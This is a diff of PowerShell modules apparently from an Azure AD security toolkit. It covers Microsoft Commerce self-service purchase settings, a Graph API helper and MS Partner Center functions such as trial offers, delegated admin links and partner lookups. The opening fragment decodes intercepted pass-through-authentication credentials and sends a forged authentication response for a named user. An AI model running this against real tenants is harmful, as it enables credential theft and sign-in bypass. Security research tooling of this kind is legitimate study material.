$authRequest = [text.encoding]::UTF8.GetString($response)
Write-Verbose $authRequest
$credentials = Decode-PTACredential -AuthRequest $authRequest -Certificate $cert
$credentials
Write-Verbose "Trying to send authentication response"
$username="danj@highlandwhiskey.myo365.site"
$userClaim="[{`"ClaimType`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication`",`"Resource`":true,`"Right`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity`"},{`"ClaimType`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/name`",`"Resource`":`"$username`",`"Right`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity`"}]"
$backEndResponse = [convert]::ToBase64String([text.encoding]::UTF8.GetBytes($userClaim))
$headers = [ordered]@{
"x-cwap-dnscachelookup-result"="NotUsed"
"x-cwap-connector-usesdefaultproxy"="InUse"
"x-cwap-connector-version"="1.5.1542.0"
"x-cwap-datamodel-version"="1.5.1542.0"
"x-cwap-connector-sp-connections"="1"
"x-cwap-transid" = $id
"x-cwap-sessionid"="00000000-0000-0000-0000-000000000000"
"x-cwap-certificate-authentication"="notProcessed"
"x-cwap-headers-size"="0"
"x-cwap-connector-be-latency-ms"="27"
"x-cwap-payload-total-attempts"="0"
"x-cwap-connector-loadfactor"="0"
"x-cwap-response-total-attempts"="1"
"x-cwap-connector-all-latency-ms"="70"
"x-cwap-backend-response" = $backEndResponse
"User-Agent"=""
}
$url="https://$proxyUrl/subscriber/connection?requestId=$((New-Guid).ToString())"
# The cert must be "linked" to this web page by IE + it needs to be installed in the personal store.
try
{
Invoke-RestMethod -Uri $url -Method Post -Certificate $cert -Headers $headers -ContentType "" -ErrorAction SilentlyContinue
#$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Certificate $cert -Headers $headers -ContentType "" -ErrorAction SilentlyContinue
}
catch
{
Write-Error $_.Exception.Message
}
}
}
}
if($outMessage -ne $null)
{
if($status)
{
#$Status.status += "`nSendToSocket. $($outMessage.length). $($outMessage.GetType())"
}
SendToSocket -Socket $socket -Token $token -Bytes ([byte[]]$outMessage)
}
if($close)
{
$socket.Abort()
}
}
}
catch
{
$Exception = $error[0]
Write-Host $_
Write-Host $Exception -ForegroundColor Red
if($status)
{
$Status.status += "`n$($exception.toString())"
}
}
Finally{
If ($socket) {
Write-Verbose "Closing websocket $Namespace"
$socket.Dispose()
}
}
}
}
+156
View File
@@ -0,0 +1,156 @@
# This file contains functions for MS Commerce
# List self-service-purchase products
# Aug 27th 2021
function Get-SelfServicePurchaseProducts
{
<#
.SYNOPSIS
Lists the status of self-service purchase products
.DESCRIPTION
Lists the status of self-service purchase products
.Parameter AccessToken
The access token used to get the status of the self-service purchase products.
.Example
PS C:\>Get-AADIntAccessTokenForMSCommerce -SaveToCache
PS C:\>Get-AADIntSelfServicePurchaseProducts
Product Id Status
------- -- ------
Windows 365 Enterprise CFQ7TTC0HHS9 Enabled
Windows 365 Business with Windows Hybrid Benefit CFQ7TTC0HX99 Enabled
Windows 365 Business CFQ7TTC0J203 Enabled
Power Automate per user CFQ7TTC0KP0N Enabled
Power Apps per user CFQ7TTC0KP0P Enabled
Power Automate RPA CFQ7TTC0KXG6 Enabled
Power BI Premium (standalone) CFQ7TTC0KXG7 Enabled
Visio Plan 2 CFQ7TTC0KXN8 Enabled
Visio Plan 1 CFQ7TTC0KXN9 Enabled
Project Plan 3 CFQ7TTC0KXNC Enabled
Project Plan 1 CFQ7TTC0KXND Enabled
Power BI Pro CFQ7TTC0L3PB Enabled
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "aeb86249-8ea3-49e2-900b-54cc8e308f85" -ClientId "3d5cffa9-04da-4657-8cab-c7f074657cad"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://licensing.m365.microsoft.com/v1.0/policies/AllowSelfServicePurchase/products" -Headers $headers
# Return the products
foreach($item in $response.items)
{
New-Object psobject -Property ([ordered]@{
"Product" = $item.productName
"Id" = $item.productID
"Status" = $item.policyValue
})
}
}
}
# Change the status of self-service-purchase products
# Aug 27th 2021
function Set-SelfServicePurchaseProduct
{
<#
.SYNOPSIS
Change the status of the given self-service purchase product
.DESCRIPTION
Change the status of the given self-service purchase product
.Parameter AccessToken
The access token used to change the status of the self-service purchase product.
.Example
PS C:\>Get-AADIntAccessTokenForMSCommerce -SaveToCache
PS C:\>Set-AADIntSelfServicePurchaseProduct -Id CFQ7TTC0L3PB -Enabled $false
Product Id Status
------- -- ------
Power BI Pro CFQ7TTC0L3PB Disabled
.Example
Get-AADIntSelfServicePurchaseProducts | Set-AADIntSelfServicePurchaseProduct -Enabled $false
Product Id Status
------- -- ------
Windows 365 Enterprise CFQ7TTC0HHS9 Disabled
Windows 365 Business with Windows Hybrid Benefit CFQ7TTC0HX99 Disabled
Windows 365 Business CFQ7TTC0J203 Disabled
Power Automate per user CFQ7TTC0KP0N Disabled
Power Apps per user CFQ7TTC0KP0P Disabled
Power Automate RPA CFQ7TTC0KXG6 Disabled
Power BI Premium (standalone) CFQ7TTC0KXG7 Disabled
Visio Plan 2 CFQ7TTC0KXN8 Disabled
Visio Plan 1 CFQ7TTC0KXN9 Disabled
Project Plan 3 CFQ7TTC0KXNC Disabled
Project Plan 1 CFQ7TTC0KXND Disabled
Power BI Pro CFQ7TTC0L3PB Disabled
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True,ValueFromPipelineByPropertyName=$True)]
[String]$Id,
[Parameter(Mandatory=$True)]
[Boolean]$Enabled
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "aeb86249-8ea3-49e2-900b-54cc8e308f85" -ClientId "3d5cffa9-04da-4657-8cab-c7f074657cad"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
if($Enabled)
{
$policyValue = "Enabled"
}
else
{
$policyValue = "Disabled"
}
$body = @{ "policyValue" = $policyValue}
# Invoke the command
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://licensing.m365.microsoft.com/v1.0/policies/AllowSelfServicePurchase/products/$Id" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Return
New-Object psobject -Property ([ordered]@{
"Product" = $response.productName
"Id" = $response.productID
"Status" = $response.policyValue
})
}
catch
{
throw $_
}
}
}
+1174
View File
File diff suppressed because it is too large Load Diff
+79
View File
@@ -0,0 +1,79 @@
# This script contains utility functions for MSGraph API at https://graph.microsoft.com
# Calls the provisioning SOAP API
function Call-MSGraphAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$API,
[Parameter(Mandatory=$False)]
[String]$ApiVersion="beta",
[Parameter(Mandatory=$False)]
[String]$Method="GET",
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$False)]
$Headers,
[Parameter(Mandatory=$False)]
[String]$QueryString,
[Parameter(Mandatory=$False)]
[int]$MaxResults=1000
)
Process
{
# Set the required variables
$TenantID = (Read-Accesstoken $AccessToken).tid
if($Headers -eq $null)
{
$Headers=@{}
}
$Headers["Authorization"] = "Bearer $AccessToken"
# Create the url
$url = "https://graph.microsoft.com/$($ApiVersion)/$($API)?$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})"
# Call the API
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -ContentType "application/json" -Method $Method -Body $Body -Headers $Headers
# Check if we have more items to fetch
if($response.psobject.properties.name -match '@odata.nextLink')
{
$items=$response.value.count
# Loop until finished or MaxResults reached
while(($url = $response.'@odata.nextLink') -and $items -lt $MaxResults)
{
# Return
$response.value
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -ContentType "application/json" -Method $Method -Body $Body -Headers $Headers
$items+=$response.value.count
}
# Return
$response.value
}
else
{
# Return
if($response.psobject.properties.name -match "Value")
{
return $response.value
}
else
{
return $response
}
}
}
}
+661
View File
@@ -0,0 +1,661 @@
# This file contains functions for MS Partner operations.
# List partner organizations
# Sep 22nd 2021
function Get-MSPartnerOrganizations
{
<#
.SYNOPSIS
Lists partner organisations of the logged in user. Does not require permissions to MS Partner Center.
.DESCRIPTION
Lists partner organisations of the logged in user. Does not require permissions to MS Partner Center.
.Parameter AccessToken
The access token used to get the list of partner organisations.
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerOrganizations
id : 9a0c7346-f305-4646-b3fb-772853f6b209
typeName : Tenant
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559543
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
id : 60a0020f-bd16-4f27-a23c-104644918834
typeName : PartnerGlobal
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559542
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
id : 297588a4-5c2a-430e-ae1e-b16c5d944a7d
typeName : PartnerLocation
name : Partner Ltd, US, PARTNERVILLE
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
MPNID : 8559543
companyName : Partner Ltd
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Invoke the API call
#$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/partnerorganizations"
# /accounts doesn't require partner credentials :)
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/accounts"
if($response.items.Count -gt 0)
{
$accounts = $response.items
$ids = ($accounts | Select-Object -ExpandProperty id) -join ","
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/accountexternalresourcekeys?accountIds=$ids&keyType=mpnId"
$mpnIds = $response.items | Select-Object -Property accountId,keyValue
foreach($account in $accounts)
{
# Add MPN ID and remove unneeded properties
$account | Add-Member -NotePropertyName "MPNID" -NotePropertyValue ($mpnIds | Where-Object accountId -eq $account.id | Select-Object -ExpandProperty keyValue)
$account.PSObject.Properties.Remove("cid")
$account.PSObject.Properties.Remove("attributes")
$account.PSObject.Properties.Remove("status")
$account.PSObject.Properties.Remove("accountType")
# Get & add legal entity information
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/legalentities/$($account.legalEntityCid)?basicInfoOnly=false"
$account | Add-Member -NotePropertyName "companyName" -NotePropertyValue $response.profiles[0].companyName
$account | Add-Member -NotePropertyName "address" -NotePropertyValue $response.profiles[0].address
$account | Add-Member -NotePropertyName "contact" -NotePropertyValue $response.profiles[0].primaryContact
}
$accounts
}
}
}
# List partner publishers
# Sep 22nd 2021
function Get-MSPartnerPublishers
{
<#
.SYNOPSIS
Lists partner publishers of the logged in user.
.DESCRIPTION
Lists partner publishers of the logged in user.
.Parameter AccessToken
The access token used to get the list of partner publishers.
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerPublishers
name mpnId programCodes
---- ----- ------------
Company Ltd 7086220 {1, 99, 223}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$body = "{""aadTenantId"":""$((Read-Accesstoken $AccessToken).tid)"",""isBasicAccount"":true,""program"":""Azure""}"
# Invoke the API call
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://partner.microsoft.com/en-us/dashboard/account/v3/api/accounts/search" -Headers $headers -Body $body -ContentType "application/json"
$response
}
}
# List available offers of the partner organisation
# Sep 22nd 2021
function Get-MSPartnerOffers
{
<#
.SYNOPSIS
Lists available offers of the partner organisation.
.DESCRIPTION
Lists available offers of the partner organisation.
.Parameter AccessToken
The access token used to get the list of partner offers.
.Parameter Type
Type of the offers to list. Can be Trial or Purchase.
.Parameter CountryCode
Two letter country code. Defaults to "US".
.Parameter Locale
Locale. Defaults to "en-US".
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerOffers
id : 01824D11-5AD8-447F-8523-666B0848B381
name : Azure Active Directory Premium P1 Trial
productName : Azure Active Directory Premium P1
unit : Licenses
minimumQuantity : 25
maximumQuantity : 10000000
term : 1
termUnitOfMeasure : Month
learnMoreLink : https://aka.ms/office-365/0
programCode : 99
id : 0A845364-6AA2-4046-8198-6CF6461F7F2B
name : Project Plan 3 Trial
productName : Project Plan 3
unit : Licenses
minimumQuantity : 25
maximumQuantity : 10000000
term : 1
termUnitOfMeasure : Month
learnMoreLink : https://aka.ms/office-365/0
programCode : 99
id : 0F5B471A-08EF-4E69-ABB0-BB4DA43F0344
name : Visio Plan 2 Trial
productName : Visio Plan 2
unit : Licenses
minimumQuantity : 25
maximumQuantity : 10000000
term : 1
termUnitOfMeasure : Month
learnMoreLink : https://aka.ms/office-365/1268
programCode : 99
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerOffers | Format-Table id,name,maximumQuantity
id name maximumQuantity
-- ---- ---------------
01824D11-5AD8-447F-8523-666B0848B381 Azure Active Directory Premium P1 Trial 10000000
0A845364-6AA2-4046-8198-6CF6461F7F2B Project Plan 3 Trial 10000000
0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 Visio Plan 2 Trial 10000000
101BDE18-5FFB-4D79-A47B-F5B2C62525B3 Office 365 E5 Trial 10000000
10DDC3DA-B394-42B8-BB45-37F7CBA40981 Office 365 F3 Trial 10000000
121ACBBF-05EE-4C97-98B6-31DC25879186 Exchange Online Protection Trial 10000000
15C64B7B-475C-414C-A711-9C7CC0310F0E Common Area Phone Trial 10000000
204A8E44-C924-4BFB-AA90-DDF42DC0E18A Project Plan 1 Trial 10000000
248D15A4-0B1D-494B-96D2-C93D1D17205E Microsoft 365 F1 Trial 10000000
2A3F5C07-BBB2-4786-857C-054F5DDD3486 Microsoft 365 Apps for enterprise Trial 10000000
32F37F52-2F8A-428F-82EA-92B56A44E1A7 Microsoft 365 F3 Trial 10000000
3C9462FF-5045-4A71-A7A6-5A7EC82911CF OneDrive for Business (Plan 2) Trial 10000000
467EAB54-127B-42D3-B046-3844B860BEBF Microsoft 365 Business Standard Trial 300
47128319-73FF-4A7B-B96F-A3E8B14728E2 Microsoft 365 Business Premium Trial 300
4F188E46-77E9-4693-A2E2-65433499159B Domain Subscription 1-year Trial 1
503D4D1D-0169-4E1F-AE26-DB041C54C5C4 Microsoft 365 E5 Information Protection and Governance Trial 10000000
508CDA15-1DEB-4135-9C54-4D691A705353 Exchange Online Archiving for Exchange Server Trial 10000000
60265DB3-1D66-40AF-8342-A861655E218A Domain Subscription 1-year Trial 1
62F0E3F1-B224-4D22-B98D-761DB2A43ACD Meeting Room Trial 10000000
757C4C34-D589-46E4-9579-120BBA5C92ED Microsoft Cloud App Security Trial 10000000
7809E406-FCF6-4C06-8BFD-7C020E77046A Visio Plan 1 Trial 10000000
7B74C69A-2BFC-41C9-AAF1-23070354622D Microsoft 365 E5 Insider Risk Management Trial 10000000
8339CC50-D965-4AD5-BB94-749021A5EBF9 Windows Store for Business Trial 10000000
8368AC6A-5797-4859-B2EC-4D32330277C9 Microsoft 365 Apps for business Trial 300
A43415D3-404C-4DF3-B31B-AAD28118A778 Azure Information Protection Premium P1 Trial 10000000
B07A1127-DE83-4A6D-9F85-2C104BDAE8B4 Office 365 E3 Trial 10000000
BDA7A87A-FFD0-4B20-B4D9-A3B48EBD70B9 OneDrive for Business (Plan 1) Trial 10000000
C6CA396F-4467-4761-95F6-B6D9A5386716 Microsoft 365 E5 eDiscovery and Audit Trial 10000000
D59682F3-3E3B-4686-9C00-7C7C1C736085 Power BI Pro Trial 10000000
DDC284E8-D5FA-4EAE-AC29-C8A52C237B7B Project Online Essentials Trial 10000000
E56A8505-FEEA-4B75-BD30-BD2959D77943 Microsoft 365 E3 Trial 10000000
EBE94500-8C76-457C-8D3F-EB40CE524BC0 Microsoft Kaizala Pro Trial 10000000
F6F20264-E785-4749-BD8E-884BAB076DE4 Microsoft 365 E5 Trial 10000000
1760F437-30BF-42F8-950C-B111DDFA4EF8 Dynamics 365 Sales Professional Trial 10000000
5CC5F505-815F-4DA6-9203-74B5017F2432 Dynamics 365 Customer Service Enterprise Trial 10000000
70274D52-B96A-482A-ACA1-D0066E0F7FEB Dynamics 365 Sales Insights Trial 10000000
B285FC76-2E9C-47D2-95C9-9EAE32578354 Dynamics 365 Customer Insights Trial 10000000
BD569279-37F5-4F5C-99D0-425873BB9A4B Dynamics 365 Customer Engagement Plan Trial 10000000
E516657E-6146-4866-8F06-2F8B7F494608 Power Virtual Agent Trial 10000000
EAC27224-2BB3-42CF-9D84-0D9A0DC80898 Dynamics 365 Marketing Trial 10
F97F075B-4FB7-4E6D-8168-E28A85C54EE9 Dynamics 365 Customer Service Insights Trial 10000000
0D5E0E30-4B24-429F-B826-33B3F021B8BD Microsoft Intune Device Trial 10000000
2E481A78-9C3C-4FDF-ABBF-C7268201397A Microsoft Stream Trial 10000000
33657A0F-4B2B-453B-A58E-99469D6E58A0 Power Automate per user plan Trial 10000000
40BE278A-DFD1-470A-9EF7-9F2596EA7FF9 Microsoft Intune Trial 10000000
83D3609A-14C1-4FC2-A18E-0F5CA7047E46 Power Apps per user plan Trial 10000000
87DD2714-D452-48A0-A809-D2F58C4F68B7 Enterprise Mobility + Security E5 Trial 10000000
A0DB242A-96D7-4F99-BD52-05C0D5556257 Azure Advanced Threat Protection for Users Trial 10000000
C38088A5-CD04-440E-A46B-85873D58BB26 Power Automate per user with attended RPA plan Trial 10000000
FAF849AB-BD30-42B2-856C-8F1EDC230CE9 Azure Active Directory Premium P2 Trial 10000000
87857ADF-3D82-4AD3-9861-F6E076401ADD Dynamics 365 Guides Trial 10000000
CCA26D6B-360E-44AB-8376-C17F30A8ACF7 Dynamics 365 Remote Assist Trial 10000000
D6B9A50A-E0F7-4366-842A-8C30B6D67CDC Dynamics 365 Remote Assist Attach Trial 10000000
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet('Trial','Purchase')]
[String]$Type="Trial",
[Parameter(Mandatory=$False)]
[String]$CountryCode="US",
[Parameter(Mandatory=$False)]
[String]$Locale="en-US"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Invoke the API call
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "internal/v1/quote/offers?inviteType=$Type&countryCode=$CountryCode&locale=$Locale"
$response.items
}
}
# Creates a new trial offer
# Sep 22nd 2021
function New-MSPartnerTrialOffer
{
<#
.SYNOPSIS
Creates a new trial offer.
.DESCRIPTION
Creates a new trial offer. Allows providing more licenses than in standard trial offers (up to 10 million).
The working limit seems to be around 10000 licenses.
.Parameter AccessToken
The access token used to create an trial offer.
.Parameter ProductIds
Ids of products to include in the trial offer
.Parameter CountryCode
Two letter country code. Defaults to "US".
.Parameter Quantity
Quantity of licenses for the product. Defaults to 25.
.Parameter PartnerId
MS Partner id.
.Parameter IncludeDelegatedAdministrationRequest
Whether include delegated administration request
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerOffers | Format-Table id,name,maximumQuantity
id name maximumQuantity
-- ---- ---------------
01824D11-5AD8-447F-8523-666B0848B381 Azure Active Directory Premium P1 Trial 10000000
0A845364-6AA2-4046-8198-6CF6461F7F2B Project Plan 3 Trial 10000000
0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 Visio Plan 2 Trial 10000000
PS C:\>New-MSPartnerTrialOffer -PartnerId 7086220 -ProductIds 0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 -Quantity 9999
Offer saved to a file: Offer_a1041c87-aad3-4653-a93a-0b20aa3e570a.json
https://portal.office.com/partner/partnersignup.aspx?type=Trial&id=a1041c87-aad3-4653-a93a-0b20aa3e570a&msppid=7086220
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid[]]$ProductIds,
[Parameter(Mandatory=$False)]
[String]$CountryCode="US",
[Parameter(Mandatory=$True)]
[int]$PartnerId,
[Parameter(Mandatory=$False)]
[int]$Quantity=25,
[Parameter(Mandatory=$False)]
[bool]$IncludeDelegatedAdministrationRequest = $false
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$items=@()
$line = 0
foreach($id in $ProductIds)
{
$items += New-Object -TypeName psobject -Property ([ordered]@{
"lineItemNumber" = $line++
"offerId" = $id.ToString().ToUpper() # MUST be in upper case
"partnerId" = $PartnerId
"includedQuantity" = $Quantity
})
}
$body = @{
"items" = $items
"countryCode" = $CountryCode
"delegatedAdministrationPartnerRequested" = $IncludeDelegatedAdministrationRequest
}
# Invoke the API call
try
{
$response = Invoke-MSPartnerAPI -Method Post -AccessToken $AccessToken -Url "internal/v1/advisorquote" -Body ($body | ConvertTo-Json)
}
catch
{
Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).description
return
}
# Filename
$fileName = "Offer_$($response.id).json"
# Url
$Url = "https://portal.office.com/partner/partnersignup.aspx?type=Trial&id=$($response.id)&msppid=$PartnerId"
# Write to file
$response | ConvertTo-Json | Set-Content $fileName
Write-Host "Offer saved to a file: $fileName"
return $Url
}
}
# Creates a new delegated admin request
# Sep 22nd 2021
function New-MSPartnerDelegatedAdminRequest
{
<#
.SYNOPSIS
Creates a new delegated admin request.
.DESCRIPTION
Creates a new delegated admin request.
.Parameter TenantId
TenantId of the partner organisation.
.Parameter Domain
Any registered domain of the partner organisation.
.Example
PS C:\>New-AADIntMSPartnerDelegatedAdminRequest -Domain company.com
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation
.Example
PS C:\>New-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9
https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=c7e52a77-e461-4f2e-a652-573305414be9#/BillingAccounts/partner-invitation
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
[guid]$TenantId,
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
[String]$Domain
)
Process
{
if($Domain)
{
$TenantId = Get-TenantID -Domain $Domain
}
return "https://admin.microsoft.com/Adminportal/Home?invType=Administration&partnerId=$TenantId#/BillingAccounts/partner-invitation"
}
}
# Get partner roles
# Dec 13th 2021
function Get-MSPartnerRoles
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Invoke the API call
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "v1/roles"
if($response.items.Count -gt 0)
{
$retVal = @()
$roles = $response.items
foreach($role in $roles)
{
# Just get the partner roles
if($role.category -ne "tenant")
{
$retVal += New-Object psobject -Property ([ordered]@{"Id" = $role.id; "Name" = $role.name})
}
}
$retVal
}
}
}
# Get partner role member
# Dec 13th 2021
function Get-MSPartnerRoleMembers
{
<#
.SYNOPSIS
Lists MS Partner roles and their members
.DESCRIPTION
Lists MS Partner roles and their members
.Parameter AccessToken
The access token used to get the list of partner organisations.
.Example
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
PS C:\>Get-AADIntMSPartnerRoleMembers
Id Name Members
-- ---- -------
0e7f236d-a3d8-458a-bd49-eaf200d12cd5 Admin Agent {@{displayName=Admin; userPrincipalNa...
082cc3a5-2eff-4274-8fe1-ad5b4387ef55 Helpdesk Agent {@{displayName=User; userPrincipalN...
6b07cbb3-16e4-453a-82f4-7a4310c21bc9 MPN Partner Administrator @{displayName=User 1; userPrincipalN...
e760e836-1c2d-47d2-9dee-92131ce57878 Report Viewer
9ac2b88b-6fad-416c-b849-433f8090de68 Executive Report Viewer @{displayName=User 2; userPrincipalN...
B53FEC78-7449-4A46-A071-C8BEF4A45134 Account Admin
8d3c7e52-447f-4cfd-9b50-1e4dd00495b7 Cosell Solution Admin
0a28a37c-ec3a-462a-a87b-c409abbdba68 Incentive Administrator
f712b351-0d8f-4051-a374-0abab5a49b5b Incentive User
140c97a7-ab21-4c2f-8f3b-9086898de0d5 Incentive Readonly User
3d8005f3-1d34-4191-9969-b6da64b83777 Marketing Content Administrator
4b38bcd9-a505-445b-af32-06c05aaeddd7 Referrals Administrator
2d9bb971-5414-4bc7-a826-079da1fa0c93 Referrals User
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the roles
$roles = Get-MSPartnerRoles -AccessToken $AccessToken
# Get the members
foreach($role in $roles)
{
# Invoke the API call
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "v1/roles/$($role.id)/usermembers"
if($response.items.Count -gt 0)
{
$members = $response.items | select displayName,userPrincipalName
$role | Add-Member -NotePropertyName "Members" -NotePropertyValue $members
}
}
$roles
}
}
# Finds MS Partners
# Dec 14th 2021
function Find-MSPartners
{
<#
.SYNOPSIS
Finds MS Partners using the given criteria.
.DESCRIPTION
Finds MS Partners using the given criteria.
.Parameter MaxResults
Maximum number of partners to return. Defaults to 100.
.Parameter Country
Two letter country code
.Example
PS C:\>Find-AADIntMSPartners -Country FI -MaxResults 20 | Sort CompanyName
TenantId CompanyName Country Address
-------- ----------- ------- -------
6f28e5b8-67fe-4207-a048-cc17b8e13499 Addend Analytics LLP FI @{country=FI; region=Europe; city...
12f4ed76-f694-4b1e-9b57-c3849eea3f6c CANORAMA OY AB FI @{country=FI; region=Europe; city...
bff3224c-767a-4628-8c53-23a4df13a03c CloudNow IT Oy FI @{country=FI; region=Europe; city...
719dc930-9d0e-4ea4-b53e-a2c65a625979 Cloudriven Oy FI @{country=FI; region=Europe; city...
6f1ff46b-bd45-422f-ad28-485c03cd59fc Cubiq Analytics Oy FI @{country=FI; region=Europe; city...
6fce4bb8-3501-41c9-afcc-db0fb51c7e3d Digia FI @{country=FI; region=Europe; city...
87fc9aba-de47-425e-b0ac-712471cbb34f Fujitsu Limited FI @{country=FI; region=Europe; city...
a951d4b8-d93b-4425-a116-6a0b4efbb964 Futurice Oy FI @{country=FI; region=Europe; city...
4b4e036d-f94b-4209-8f07-6860b3641366 Gofore Oyj FI @{country=FI; region=Europe; city...
4eee4718-7215-41bf-b130-25ce43c85b33 Henson Group FI @{country=FI; region=Europe; city...
b6602c2f-7bd6-49d3-a2aa-f0b0359a73ef Henson Group Service Ireland Limited FI @{country=FI; region=Europe; city...
7c0c36f5-af83-4c24-8844-9962e0163719 Hexaware Technologies FI @{country=FI; region=Europe; city...
99ebba89-0dd9-4b7b-8f23-95339d2a81e1 IBM FI @{country=FI; region=Europe; city...
1c8672ad-d9cc-4f59-b839-90be132d96ab IFI Techsolutions Pvt Ltd FI @{country=FI; region=Europe; city...
1e3ee4c0-94a9-45a4-9151-07e1858e6372 InlineMarket Oy FI @{country=FI; region=Europe; city...
431fbbea-8544-49f8-9891-e8a4e4756e83 Medha Hosting (OPC) Ltd FI @{country=FI; region=Europe; city...
04207efa-4522-4391-a621-5708a40b634d MPY Yrityspalvelut Oyj FI @{country=FI; region=Europe; city...
8c467c92-8e59-426e-a612-e23d69cb4437 Myriad Technologies FI @{country=FI; region=Europe; city...
50950a2d-dde4-4887-978d-630468d7f741 Solteq Plc FI @{country=FI; region=Europe; city...
